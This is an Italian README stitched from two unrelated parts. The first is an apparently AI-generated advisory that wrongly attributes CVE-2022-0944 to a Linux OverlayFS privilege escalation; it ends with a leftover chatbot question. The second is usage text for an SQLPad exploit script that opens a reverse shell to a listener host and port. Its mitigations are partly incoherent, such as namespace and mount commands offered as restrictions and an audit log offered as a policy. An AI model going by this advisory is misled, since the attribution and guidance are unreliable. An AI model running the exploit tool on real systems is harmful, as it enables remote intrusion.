CVE-2022-0944: Vulnerabilità di escalation dei privilegi in OverlayFS 🛡️

Avviso di sicurezza e guida alla mitigazione per la vulnerabilità di escalation dei privilegi del kernel Linux in OverlayFS.

📜 Panoramica

CVE-2022-0944 è una vulnerabilità di sicurezza nel sottosistema OverlayFS del kernel Linux che consente a un utente malintenzionato locale di elevare i propri privilegi attraverso una gestione impropria della creazione di file in configurazioni specifiche.

📌 Dettagli tecnici

🚨 Impatto

Un attaccante locale potrebbe:

• Ottenere privilegi di root attraverso operazioni su file appositamente predisposti
• Aggirare le restrizioni di sicurezza
• Modificare file di sistema sensibili
• Compromettere l'integrità dell'intero sistema

🔍 Rilevamento

1. Controlla la versione del kernel uname -r

Versioni interessate: 5.8 <= kernel < 5.16.12

2. Verifica l'uso di OverlayFS mount | grep overlay

I sistemi che utilizzano mount OverlayFS sono a rischio

3. Controlla gli avvisi di sicurezza

For Debian/Ubuntu:

grep CVE-2022-0944 /var/log/apt/history.log

# For RHEL/CentOS:
rpm -q --changelog kernel | grep CVE-2022-0944

4.🛡️ Mitigazione

Patch ufficiali

Aggiorna a una di queste versioni corrette:

Kernel Linux 5.16.12 o successivo
Patch backportate specifiche del fornitore

Comando di aggiornamento:

Ubuntu/Debian

sudo apt update && sudo apt upgrade linux-image-$(uname -r)

RHEL/CentOS

sudo yum update kernel

Soluzioni alternative (se non è possibile applicare subito la patch)

Limita l'uso di OverlayFS:
  sudo modprobe -r overlay

Implementa restrizioni sui namespace:
# Create unprivileged user namespace unshare -Ur

    # Mount with user restrictions
    mount -t overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work overlay /mnt

Applica policy SELinux/AppArmor: type=AVC msg=audit(1647452829.123:456): user pid=1234 comm="mount" scontext=user_u:user_r:user_t tcontext=system_u:object_r:unlabeled_t denied { mounton }

⚠️ Dichiarazione di esclusione di responsabilità Questo documento è fornito solo a scopo informativo. Sebbene siano stati fatti sforzi per garantirne l'accuratezza, non viene fornita alcuna garanzia. Testare sempre le patch in un ambiente di sviluppo prima del deployment in produzione.

Ultimo aggiornamento: 2023-10-01 | Visualizza il changelog

Caratteristiche principali:

1. Classificazione chiara della vulnerabilità con badge di sicurezza
2. Tabella dei dettagli tecnici di riferimento rapido
3. Passi attuabili per rilevamento e mitigazione
4. Comandi di aggiornamento specifici del fornitore
5. Esempi di policy di sicurezza (SELinux/AppArmor)
6. Collegamenti ufficiali di riferimento
7. Conformità agli standard di divulgazione delle vulnerabilità

Questo formato README è adatto per:

• Team di sicurezza
• Amministratori di sistema
• Ingegneri DevOps
• Manutentori open-source
• Database di vulnerabilità

Desideri che io:

1. Aggiunga informazioni specifiche sulle patch del fornitore?
2. Includa dettagli di proof-of-concept dell'exploit (con cautela)?
3. Aggiunga altri script di rilevamento?
4. Personalizzi per una specifica distribuzione Linux?

Usage

usage: main.py [-h] url lhost lport [username] [password]

positional arguments:
  url         URL to SQLPad
  lhost       Listener host address for reverse shell
  lport       Listener port for reverse shell
  username    login username (optional)
  password    login password (optional)

options:
  -h, --help  show this help message and exit

Example:

# install requirements
pip install -r requirements.txt

# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0

# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin

Dichiarazione di esclusione di responsabilità

Questo repository contiene codice e strumenti destinati esclusivamente a scopi educativi, in particolare per l'uso in corsi di cybersecurity e ambienti di apprendimento. L'autore di questo codice non si assume alcuna responsabilità per eventuali conseguenze derivanti dall'uso, dall'abuso o dalla modifica di questo codice. Il codice è fornito "così com'è" senza alcuna garanzia, esplicita o implicita, incluse ma non limitate alle garanzie implicite di commerciabilità o idoneità per uno scopo particolare.